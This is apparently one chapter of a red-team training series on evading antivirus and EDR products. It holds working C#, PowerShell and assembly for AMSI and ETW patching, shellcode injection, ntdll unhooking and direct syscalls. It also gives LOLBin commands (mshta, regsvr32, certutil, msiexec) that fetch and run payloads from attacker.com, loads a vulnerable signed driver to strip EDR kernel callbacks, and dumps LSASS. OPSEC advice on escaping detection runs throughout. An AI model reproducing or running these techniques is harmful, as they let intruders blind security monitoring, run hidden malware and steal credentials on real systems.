6_EDR

Pillar 6: EDR Bypass & Evasion

BLUF: Modern EDRs catch commodity tools within seconds. The only way to operate against a mature SOC is to understand exactly what they detect and why — then build techniques that don't generate those signals. AV evasion is table stakes. Real red teamers bypass EDR at the syscall level.

Note

⚫ OW64 — P6: EDR Bypass & Evasion Action Items

  1. AV Evasion Fundamentals · 2. AMSI Bypass Techniques · 3. Process Injection Techniques · 4. ETW Patching & Unhooking · 5. Syscall-Based Evasion · 6. Sleep Obfuscation & Stack Spoofing · 7. EDR Bypass Methodology · 8. LOLBins, BYOVD & WDAC · ✦ Full Evasion Engagement
graph TB
    Start([AV Evasion Basics]) --> AMSI[AMSI Bypass]
    AMSI --> Inject[Process Injection]
    Inject --> ETW[ETW Patching & Unhooking]
    ETW --> Syscall[Syscall-Based Evasion]
    Syscall --> Sleep[Sleep Obfuscation & Stack Spoofing]
    Sleep --> EDRBypass[EDR Bypass Methodology]
    EDRBypass --> LOLBins[LOLBins & BYOVD]
    LOLBins --> FullEvasion([Full Evasion Engagement])
    Start --> Detect[Detection Understanding]
    Detect --> EDRBypass
    style Start fill:#ff6600
    style FullEvasion fill:#00aa00

MITRE ATT&CK Mapping

Technique ID Name Tactic Pillar Relevance
T1562.001 Disable or Modify Tools Defense Evasion AV/EDR disabling
T1055 Process Injection Defense Evasion Injection techniques
T1620 Reflective Code Loading Defense Evasion Reflective DLL injection
T1027 Obfuscated Files or Information Defense Evasion Payload obfuscation
T1070 Indicator Removal Defense Evasion Log and artifact cleanup
T1036 Masquerading Defense Evasion Binary name/path spoofing
T1574 Hijack Execution Flow Defense Evasion DLL hijacking and sideloading
T1218 System Binary Proxy Execution Defense Evasion LOLBin-based execution
T1497.003 Time Based Evasion Defense Evasion Sleep obfuscation, sandbox detection
T1014 Rootkit Defense Evasion BYOVD kernel-level EDR killing

Action Item 1 — AV Evasion Fundamentals [Beginner]

What you're building: A mental model of how AV/EDR detects malware — and the exact layer you need to attack. Before you can bypass detection, you need to understand what triggers it: static signatures, heuristics, behavioral patterns, and memory scanning. This item builds the foundation for every technique that follows.

Antivirus detection relies on static signatures, heuristics, and behavioral analysis. Evasion begins with identifying which specific bytes or strings are triggering a detection and modifying them through encryption or obfuscation. Modern delivery formats like ISO containers or LNK files help bypass initial Mark-of-the-Web (MotW) restrictions.

Tactic: Defense Evasion

Technique: Static & Heuristic Signature Evasion — understand what each detection layer sees, then surgically remove the signal without breaking functionality.

Question Operator Analogy EDR Equivalent
What's watching me? Checking for security cameras Identifying EDR sensor coverage and product name
What do they recognize? Do guards know my face? Static signatures, YARA rules, behavioral patterns
How do I blend in? Wearing the right uniform Signed binaries, legitimate parent processes, LOLBins
What's the alarm system? Motion sensors, tripwires User-mode hooks in ntdll.dll, kernel callbacks
Can I disable it? Cutting the camera feed Patching AMSI/ETW, unhooking ntdll, BYOVD

The goal before writing any payload: understand exactly which layer is detecting you (static file scan, in-memory scan, behavioral telemetry, network signature) before you spend time evading the wrong one.

Tools: ThreatCheck, DefenderCheck, AMSI.fail, custom obfuscators

Procedure:

# 1. Identify flagged bytes in a binary using ThreatCheck
# This tool splits the file into chunks and scans them to find the exact offset of the signature
.\ThreatCheck.exe -f .\beacon.exe -e AMSI
.\ThreatCheck.exe -f .\beacon.exe -e Defender

# 2. Simple XOR encryption in C# to hide shellcode from static scanners
public static byte[] XorEncrypt(byte[] data, byte[] key) {
    byte[] output = new byte[data.Length];
    for (int i = 0; i < data.Length; i++) {
        output[i] = (byte)(data[i] ^ key[i % key.Length]);
    }
    return output;
}

# 3. String obfuscation via splitting to evade simple grep-based signatures
string part1 = "Virt";
string part2 = "ualA";
string part3 = "lloc";
IntPtr addr = GetProcAddress(hModule, part1 + part2 + part3);

# 4. AES-encrypted shellcode loader (more robust than XOR for production payloads)
# Encrypt shellcode offline, embed ciphertext in loader, decrypt at runtime:
# AesCryptoServiceProvider aes = new AesCryptoServiceProvider();
# aes.Key = Convert.FromBase64String(encryptedKey);
# aes.IV = Convert.FromBase64String(iv);
# byte[] shellcode = aes.CreateDecryptor().TransformFinalBlock(ciphertext, 0, ciphertext.Length);

# 5. VBA Macro Obfuscation (conceptual)
# Use string reversal and character codes to hide sensitive API calls
# Dim cmd As String: cmd = StrReverse("exe.dmc")  ' cmd.exe

Why: ThreatCheck pins the exact byte offset triggering Defender. Fix that single offset and your payload goes from detected to clean — no full rewrite needed.

OPSEC: Avoid using public packers like UPX — they are often flagged independently of payload content. Custom XOR or AES encryption is significantly more effective. Always test against a local, non-reporting AV instance before deployment. ISO delivery containers bypass Mark-of-the-Web restrictions and prevent initial on-disk scanning.


Action Item 2 — AMSI Bypass Techniques [Beginner]

What you're building: Blind the AV scanner that watches PowerShell, .NET, and script execution in memory. AMSI is the bridge between script engines and AV/EDR — kill it and you can run C# assemblies, PowerShell tools, and shellcode runners without triggering real-time memory scans.

The Antimalware Scan Interface (AMSI) is a buffer-scanning interface that allows applications to send content to the installed AV/EDR for scanning. Bypassing it is essential for executing PowerShell or C# scripts in memory without triggering alerts.

Technique: AMSI Patching & Reflection

Tools: PowerShell, Win32 APIs (P/Invoke)

Procedure:

# 1. Reflection-based AMSI bypass (evades meta-scan via string splitting)
# This sets the 'amsiInitFailed' field to true, causing AMSI to fail open
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*itFailed") {$f = $e}}
$f.SetValue($null,$true)

# 2. Patching AmsiScanBuffer in memory via C#
// Get address of AmsiScanBuffer in amsi.dll
IntPtr amsiPtr = GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer");

// Patch with 'mov eax, 0x80070057; ret' (E_INVALIDARG — AMSI returns OK but skips scan)
byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
uint oldProtect;
VirtualProtect(amsiPtr, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, amsiPtr, patch.Length);
VirtualProtect(amsiPtr, (UIntPtr)patch.Length, oldProtect, out oldProtect);

# 3. AmsiOpenSession NULL pointer bypass
// Force AmsiOpenSession to return NULL, causing AmsiScanBuffer to skip execution
// Patch the 'test rax, rax' check so it always sees an invalid session handle

# 4. For .NET 4.8+ / WDAC-enforced environments: use D/Invoke for dynamic resolution
// D/Invoke avoids static imports of suspicious APIs, resolving them at runtime via
// GetProcAddress with obfuscated function name strings

Why: Without an AMSI bypass, PowerShell will refuse to execute known-bad strings in memory. One effective bypass clears the path for all subsequent in-memory tool execution (SharpHound, Rubeus, Seatbelt) in the same session.

OPSEC: AMSI bypasses are heavily monitored. Modern EDRs look for the specific byte patterns used in patches. Use dynamic resolution of the function address and obfuscate the patch bytes themselves. Consider splitting the bypass across multiple obfuscated variables to avoid triggering AMSI on the bypass code itself.


Action Item 3 — Process Injection Techniques [Intermediate]

What you're building: A way to execute your shellcode inside a legitimate, trusted process — so the EDR sees svchost.exe doing things instead of your loader. Injection is how you separate the "launcher" from the "beacon" to hide attribution and blend into normal process activity.

Process injection allows an attacker to execute code in the context of a legitimate process, masking their activity and potentially gaining access to the target process's memory and tokens.

Technique: Remote Thread Injection & Process Hollowing

Tools: C#, P/Invoke, D/Invoke

Procedure:

// 1. Classic Remote Thread Injection
// Open target process with necessary access rights (PROCESS_ALL_ACCESS)
IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetPid);

// Allocate memory for shellcode in the remote process (MEM_COMMIT | MEM_RESERVE)
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);

// Write shellcode to the allocated memory
WriteProcessMemory(hProcess, addr, shellcode, (uint)shellcode.Length, out _);

// Execute shellcode via a new thread in the remote process
CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

// 2. APC Injection (Early Bird)
// Create a legitimate process (e.g., notepad.exe) in a suspended state
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
CreateProcess(null, "notepad.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);

// Allocate and write shellcode to the suspended process
IntPtr lpBaseAddress = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
WriteProcessMemory(pi.hProcess, lpBaseAddress, shellcode, (uint)shellcode.Length, out _);

// Queue an Asynchronous Procedure Call (APC) to the main thread
QueueUserAPC(lpBaseAddress, pi.hThread, 0);

// Resume the thread to trigger the APC and execute the shellcode
ResumeThread(pi.hThread);

// 3. Process Hollowing (conceptual)
// CreateProcess(SUSPENDED) → ZwUnmapViewOfSection → VirtualAllocEx → WriteProcessMemory
// → SetThreadContext (update RIP) → ResumeThread
// Replaces the entire image of a legitimate process with your shellcode.

// 4. Thread Hijacking
// Suspend a thread in the target process
// Get the thread's context (registers) using GetThreadContext
// Modify the RIP (Instruction Pointer) to point to your shellcode
// Set the modified context using SetThreadContext and resume the thread

// 5. Module Stomping (advanced, lower detection)
// Load a legitimate DLL into the target process, then overwrite its .text section
// with your shellcode — the memory appears as backed by a signed module

Why: VirtualAllocEx + CreateRemoteThread is the most-detected pattern in existence. Every EDR on the market alerts on it. APC Injection and Thread Hijacking avoid the explicit thread creation API and blend into normal thread activity. Module stomping takes this further by making shellcode appear to live inside a legitimate, signed DLL on disk.

OPSEC: VirtualAllocEx and CreateRemoteThread are high-fidelity triggers. Use NtCreateThreadEx or QueueUserAPC for better stealth, or move to direct syscalls to bypass user-mode hooks. Process hollowing is highly effective but complex — carefully select the target process to match the expected behavior of your beacon.


Action Item 4 — ETW Patching & Unhooking [Intermediate]

What you're building: Silence the telemetry pipe that feeds your activity to the EDR's analysis engine. ETW is the event bus — patch it and the EDR receives no signal about your API calls. Unhooking removes the EDR's inline hooks from ntdll so your syscall wrappers aren't intercepted.

Event Tracing for Windows (ETW) provides deep visibility into process activity. EDRs use ETW to monitor for suspicious API calls and behavioral patterns. Unhooking involves restoring the original code of system libraries (like ntdll.dll) to remove EDR monitoring points.

Technique: Telemetry Silencing & Library Restoration

Tools: C#, ntdll.dll

Procedure:

// 1. Patch EtwEventWrite to return immediately (silences process ETW telemetry)
// This prevents the process from sending telemetry events to EDR sensors
var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
uint oldProtect;
VirtualProtect(etwAddr, 1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);  // 0xC3 = RET instruction
VirtualProtect(etwAddr, 1, oldProtect, out oldProtect);

// 2. NTDLL Unhooking from Disk
// Read a clean copy of ntdll.dll from the System32 directory
byte[] cleanNtdll = File.ReadAllBytes("C:\\Windows\\System32\\ntdll.dll");

// Overwrite the in-memory .text section with clean bytes
// This removes all inline hooks (JMP instructions) placed by the EDR
IntPtr hModule = GetModuleHandle("ntdll.dll");
// Steps:
// 1. Get DOS header → NT headers → Section headers
// 2. Find section named ".text"
// 3. VirtualProtect to PAGE_EXECUTE_READWRITE
// 4. Copy clean .text bytes to hModule + section.VirtualAddress
// 5. Restore original protection

// 3. Perun's Fart (indirect unhooking)
// Spawn a suspended process, read its clean ntdll from that process's memory
// Avoids reading ntdll directly from disk (monitored by minifilter drivers)

// 4. Tartarus Gate
// When Hell's Gate SSN resolution fails (function is hooked / starts with JMP),
// search neighboring functions: SSN = neighbor_SSN ± offset (offset is usually +1 per function)
// This allows SSN resolution even when the target function itself is hooked

Why: Patching EtwEventWrite is one patch, one function, immediate silence across all ETW-based telemetry in the process. Unhooking ntdll from disk is more thorough — it removes every inline hook simultaneously, restoring clean execution for all subsequent API calls.

OPSEC: Patching EtwEventWrite is effective but global within the process. Some EDRs monitor ntdll integrity and alert if hooks are removed. Unhooking from disk requires reading from a sensitive file path, which may itself trigger a minifilter alert. Perun's Fart (using a suspended process as the clean source) avoids that signal.


Action Item 5 — Syscall-Based Evasion [Advanced]

What you're building: A way to talk directly to the kernel, bypassing every user-mode hook the EDR placed in ntdll. Instead of calling NtAllocateVirtualMemory (which the EDR intercepts), you emit the raw syscall instruction yourself with the correct SSN — the EDR never sees it.

Syscalls allow a program to request services from the kernel directly. By using syscalls instead of high-level APIs, an attacker can bypass the user-mode hooks that EDRs place in ntdll.dll. This is the current gold standard for EDR evasion.

Technique: Direct & Indirect Syscalls

Tools: SysWhispers2/3, Hell's Gate, Halo's Gate, Tartarus Gate

Procedure:

// 1. Hell's Gate: Dynamically resolve Syscall Service Number (SSN)
// Read ntdll.dll memory to find the 'mov eax, SSN' instruction for a function
// This avoids hardcoding SSNs which change between Windows versions and builds
IntPtr funcAddr = GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory");
// Check for '0xB8' (mov eax) at funcAddr + 4
// SSN is the DWORD at funcAddr + 5 (little-endian)
byte ssn = Marshal.ReadByte(funcAddr, 4);

// 2. Halo's Gate (when the function is hooked / starts with JMP)
// If funcAddr[0] == 0xE9 (JMP), resolve SSN from a neighboring unhooked function:
// Check funcAddr ± 0x20 (neighboring stub), SSN = neighbor_SSN ± 1

// 3. Direct Syscall stub (ASM — SysWhispers2 style)
// NtAllocateVirtualMemory PROC
//     mov r10, rcx
//     mov eax, <SSN>           ; resolved at runtime
//     syscall
//     ret
// NtAllocateVirtualMemory ENDP
// PROBLEM: call stack shows syscall originated from outside ntdll → detected by CrowdStrike Falcon

// 4. Indirect Syscall stub (SysWhispers3 style) — preferred
// Instead of emitting 'syscall' directly, JMP to the syscall instruction inside ntdll
// Call stack shows syscall originating from ntdll.dll → appears legitimate
// ASM Stub:
//     mov r10, rcx
//     mov eax, <SSN>
//     jmp <address_of_syscall_instruction_inside_ntdll_stub>

Why: Direct syscalls skip user-mode hooks entirely — the EDR's JMP at the top of NtCreateThreadEx is never executed. Indirect syscalls go one step further: they also make the call stack look legitimate, defeating EDRs that trace return addresses to detect non-ntdll syscall origins.

OPSEC: Direct syscalls are detected by EDRs using kernel callbacks (PsSetCreateProcessNotifyRoutine) or call stack analysis. Indirect syscalls mitigate the call stack problem by ensuring the return address points back into ntdll. For maximum stealth, combine indirect syscalls with sleep obfuscation (Action Item 6).


Action Item 6 — Sleep Obfuscation & Stack Spoofing [Advanced]

What you're building: A way to hide your beacon's shellcode in memory when it isn't running. Between check-ins, your beacon sits idle in memory — EDR memory scanners look for that pattern. Sleep obfuscation encrypts the shellcode while sleeping. Stack spoofing removes the suspicious call stack frames that point back to your beacon.

Modern EDRs run periodic memory scans between beacon check-ins. If your shellcode sits in unbacked RWX memory with a recognizable beacon signature, it will be found regardless of how clean your injection was. Sleep obfuscation encrypts the payload at rest. Stack spoofing prevents the call stack from betraying the shellcode's location.

Technique: In-Memory Beacon Concealment

Tools: Ekko, Foliage, Ziggurat, CallStackMasker, SilentMoonwalk

Sleep Obfuscation

Procedure:

// Ekko (ROP-based sleep obfuscation): github.com/Cracked5pider/Ekko
// Uses ROP gadgets to:
// 1. Queue an APC to encrypt the beacon image (XOR/AES)
// 2. Sleep for the desired interval
// 3. Queue an APC to decrypt and resume
// The beacon's memory is ciphertext during the sleep window

// Foliage (APC-based): github.com/SecIdiot/FOLIAGE
// Achieves the same result using APC chains instead of ROP
// More portable but slightly less stealthy than ROP-based approaches

// Ziggurat: combines sleep obfuscation + call stack spoofing in a single operation
// - Encrypts beacon image while sleeping
// - Spoofs the call stack to remove beacon frames
// - Restores both cleanly on wake
// Highest stealth for modern CrowdStrike Falcon / Elastic environments

Why: Without sleep obfuscation, CrowdStrike Falcon and Microsoft Defender for Endpoint detect idle beacons via memory scanning within minutes. The beacon's Reflective DLL header and config block are recognizable even without execution-based telemetry.

Stack Spoofing

Procedure:

// CallStackMasker: github.com/mgeeky/CallStackMasker
// Overwrites return addresses on the call stack before sleeping
// Replaces beacon frames with frames from ntdll/kernel32 to look like a legitimate thread

// SilentMoonwalk: github.com/klezVirus/SilentMoonwalk
// More sophisticated — synthesizes an entirely fake call stack
// Walks the unwind data of ntdll/kernel32 to construct a plausible call chain
// Compatible with Cobalt Strike (via UDRL) and Sliver (via custom loader)

Why: CrowdStrike Falcon and Elastic Security alert on threads whose call stack contains frames in unbacked memory or frames that don't unwind cleanly. A spoofed call stack makes your beacon's thread look like a normal Windows thread blocked in a legitimate wait operation.

OPSEC: Sleep obfuscation + stack spoofing together eliminate two of the three primary mechanisms modern EDRs use to detect idle beacons (memory scanning and thread call stack analysis). The third — network signature during check-in — is addressed via malleable profiles and CDN traffic shaping (Pillar 7).


Action Item 7 — EDR Bypass Methodology [Advanced]

What you're building: A systematic, lab-driven process for understanding exactly what a specific EDR detects and where its blind spots are — before you deploy against a real target.

Bypassing a specific EDR requires a systematic analysis of its hooks and detection logic. This involves identifying which APIs are hooked and finding "blind spots" where the EDR lacks visibility or has weak detection rules.

Technique: Dynamic Analysis & Hook Mapping

Tools: Frida, ScyllaHide, x64dbg, ThreatCheck

Procedure:

# 1. Use Frida to trace API calls and identify hooks
# This script logs every call to NtCreateThreadEx and shows if it's hooked
frida -p <pid> -l trace_hooks.js

# 2. Hook Mapping Logic (conceptual — automate with a small C# tool)
# Iterate through the ntdll.dll export table
# For each function, read the first byte at its address:
#   0x4C = clean (mov r10, rcx — start of normal syscall stub)
#   0xE9 = hooked (JMP to EDR monitoring DLL)
#   0xEB = hooked (short JMP variant)
# Log the JMP destination to identify the EDR's monitoring library (e.g., CrowdStrike.dll)

# 3. Detection Gap Analysis (lab procedure)
# a. Set up a VM with the target EDR at the target policy level
# b. Test each injection technique individually (APC, Thread Hijacking, Module Stomping)
# c. Check the EDR console after each test — did it alert? What was the trigger?
# d. Record which techniques are blind spots and which are noisy
# e. Build your evasion chain from the blind spots outward
// trace_hooks.js — Frida script for hook detection
Interceptor.attach(Module.findExportByName("ntdll.dll", "NtCreateThreadEx"), {
    onEnter: function (args) {
        console.log("[+] NtCreateThreadEx called");
        console.log("    Target process handle: " + args[3]);
        console.log("    Start address: " + args[4]);
        console.log("    Call stack: " + Thread.backtrace(this.context, Backtracer.ACCURATE)
            .map(DebugSymbol.fromAddress).join('\n\t'));
    }
});

Why: Generic bypass techniques work until an EDR updates its rules. Lab-driven hook mapping gives you first-principles knowledge of what this specific EDR version at this specific policy level actually monitors — so you build a bypass that's precise, not just lucky.

OPSEC: Running debuggers or Frida on a production system is extremely noisy. Perform all analysis in a lab that mirrors the target's exact EDR version and policy. Many EDRs phone home when they detect instrumentation — run your analysis lab air-gapped or with outbound blocked.


Action Item 8 — LOLBins, BYOVD & WDAC Bypass [Advanced]

What you're building: Execution via signed, trusted binaries the EDR is configured to trust — and, when necessary, the ability to kill the EDR entirely from kernel space using a vulnerable signed driver.

Living Off the Land Binaries (LOLBins) are legitimate, signed Microsoft binaries that can be used to execute code, download files, or bypass security policies. Bring Your Own Vulnerable Driver (BYOVD) escalates this to kernel level — loading a signed but vulnerable driver to gain kernel code execution and directly remove EDR kernel callbacks.

Technique: Living Off the Land & Kernel-Level EDR Elimination

Tools: mshta, regsvr32, certutil, LOLDrivers.io, PPLKiller

Procedure:

# 1. Execute a remote HTA payload via mshta.exe
mshta.exe http://attacker.com/payload.hta

# 2. Squiblydoo: Execute a COM scriptlet via regsvr32.exe
# Classic AppLocker bypass — executes code in memory without touching disk
regsvr32.exe /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

# 3. Certutil: Decode and drop a base64-encoded executable
certutil.exe -urlcache -f http://attacker.com/payload.b64 payload.b64
certutil.exe -decode payload.b64 payload.exe

# 4. Rundll32: Execute a DLL export
rundll32.exe shell32.dll,Control_RunDLL C:\path\to\payload.dll

# 5. MSIExec: Execute a remote MSI package (bypasses many AppLocker rules)
msiexec.exe /i http://attacker.com/payload.msi /quiet

# 6. Wscript / Cscript: Execute obfuscated VBScript or JScript
wscript.exe //e:vbscript payload.txt

BYOVD — Bring Your Own Vulnerable Driver

# LOLDrivers.io: https://www.loldrivers.io/
# Comprehensive database of vulnerable drivers signed by legitimate vendors
# Search by: CVE, EDR bypass capability, kernel memory R/W, process termination

# Example: RTCore64.sys (MSI Afterburner) — arbitrary kernel memory read/write
# CVE-2019-16098 — still widely abused in 2024/2025 engagements
sc.exe create RTCore64 type= kernel start= auto binPath= C:\Windows\System32\drivers\RTCore64.sys
sc.exe start RTCore64
# Use RTCore64 R/W primitive to zero out EDR kernel callbacks in PspNotifyRoutines

# PPLKiller / PPLdump: Remove Protected Process Light (PPL) from LSASS
# Allows direct LSASS memory dump without Mimikatz needing a PPL bypass
# https://github.com/itm4n/PPLdump
.\PPLdump.exe lsass.exe lsass.dmp

# General BYOVD flow:
# 1. Select vulnerable driver from loldrivers.io with kernel memory R/W capability
# 2. Drop and load the driver (requires admin / SeLoadDriverPrivilege)
# 3. Use the driver's vulnerability to enumerate and zero PspNotifyRoutines / PspLoadImageNotifyRoutines
# 4. EDR's kernel callbacks are removed — it can no longer see process creation, image loads, or thread creation
# 5. EDR user-mode agent is still alive but effectively blind

Why: LOLBins bypass application whitelisting by leveraging already-trusted binaries. BYOVD is one of the few techniques that can reliably disable a fully deployed EDR (CrowdStrike Falcon, SentinelOne) when kernel callbacks are removed — it's why many high-tier threat actors use it for the final phase of an operation.

OPSEC: LOLBins are heavily logged and monitored by modern SOCs. They look for unusual parent-child process relationships (e.g., wmiprvse.exe spawning mshta.exe). BYOVD driver loading is detectable via Event ID 6 (driver loaded) — use WMI or a custom dropper to load silently. After removing callbacks, work quickly — some EDRs have watchdog processes that re-register callbacks.


Full Evasion Engagement [Operator]

A successful evasion engagement requires chaining multiple techniques into a seamless execution flow. This involves initial obfuscation, environment preparation (AMSI/ETW patching), unhooking, stealthy injection, in-memory beacon concealment, and C2 traffic masking.

Technique: End-to-End Evasion Chain Execution

Tools: Custom Loaders, C2 (Sliver, Cobalt Strike, Havoc)

Procedure:

  1. Preparation: Generate shellcode and encrypt it with a custom AES key. Obfuscate the loader's strings and API imports using dynamic resolution (D/Invoke or manual GetProcAddress with obfuscated name strings). Run ThreatCheck to confirm no static detections remain.
  2. Initial Execution: Use a LOLBin or a signed binary to execute the custom loader. Deliver via ISO or VHD container to bypass MotW and on-open scanning.
  3. Environment Patching: The loader patches AMSI and EtwEventWrite in its own process to blind local sensors and prevent telemetry generation for subsequent actions.
  4. Unhooking: The loader maps a fresh copy of ntdll.dll from a suspended process (Perun's Fart) to remove any EDR hooks — cleaner than disk-read and avoids minifilter alerts.
  5. Injection: Use indirect syscalls (SysWhispers3) to inject the encrypted shellcode into a target process (spoolsv.exe or svchost.exe) via APC injection. All API calls bypass EDR user-mode hooks.
  6. Beacon Concealment: Enable sleep obfuscation (Ekko/Ziggurat) and stack spoofing (SilentMoonwalk) to encrypt the beacon image at rest and remove call stack traces between check-ins.
  7. C2 Operation: The beacon executes in memory using encrypted malleable profiles, jitter, and CDN traffic shaping. Check-in traffic blends with normal HTTPS to major cloud providers.
  8. Cleanup: Remove temporary files, revert any memory patches, and ensure no persistent artifacts are discoverable during a forensic audit.

Common EDR Hooks in NTDLL:

Function Purpose EDR Monitoring
NtCreateThreadEx Thread creation Remote thread injection
NtAllocateVirtualMemory Memory allocation Shellcode staging
NtWriteVirtualMemory Memory writing Shellcode deployment
NtProtectVirtualMemory Memory protection RWX region creation
NtQueueApcThread APC queuing Early Bird injection
NtOpenProcess Process handle acquisition Cross-process access
NtMapViewOfSection Section mapping Reflective DLL injection

OPSEC: The goal is to minimize the "footprint" at each stage. Use in-memory execution wherever possible. Monitor your own telemetry in a lab — if an alert fires against yourself, fix it before going live. The sequence matters: patch AMSI/ETW before running any in-memory tooling, not after.


Resources

Resource Type Pillar Relevance
ThreatCheck Tool Item 1
SysWhispers3 Tool Items 5, 8
Frida Tool Item 7
Hell's Gate Reference Item 5
Ekko — Sleep Obfuscation Tool Item 6
SilentMoonwalk — Stack Spoofing Tool Item 6
LOLDrivers.io Reference Item 8
PPLdump Tool Item 8
LOLBAS Project Reference Item 8
Sektor7 EDR Evasion Course Course Items 3–6
VX-Underground Papers Research Items 5, 6
MDSec Blog Research All items
OSEP (OffSec) Certification Items 1–4
CRTL (Zero-Point Security) Certification Items 5–8

Part of the Red Teaming 101 series.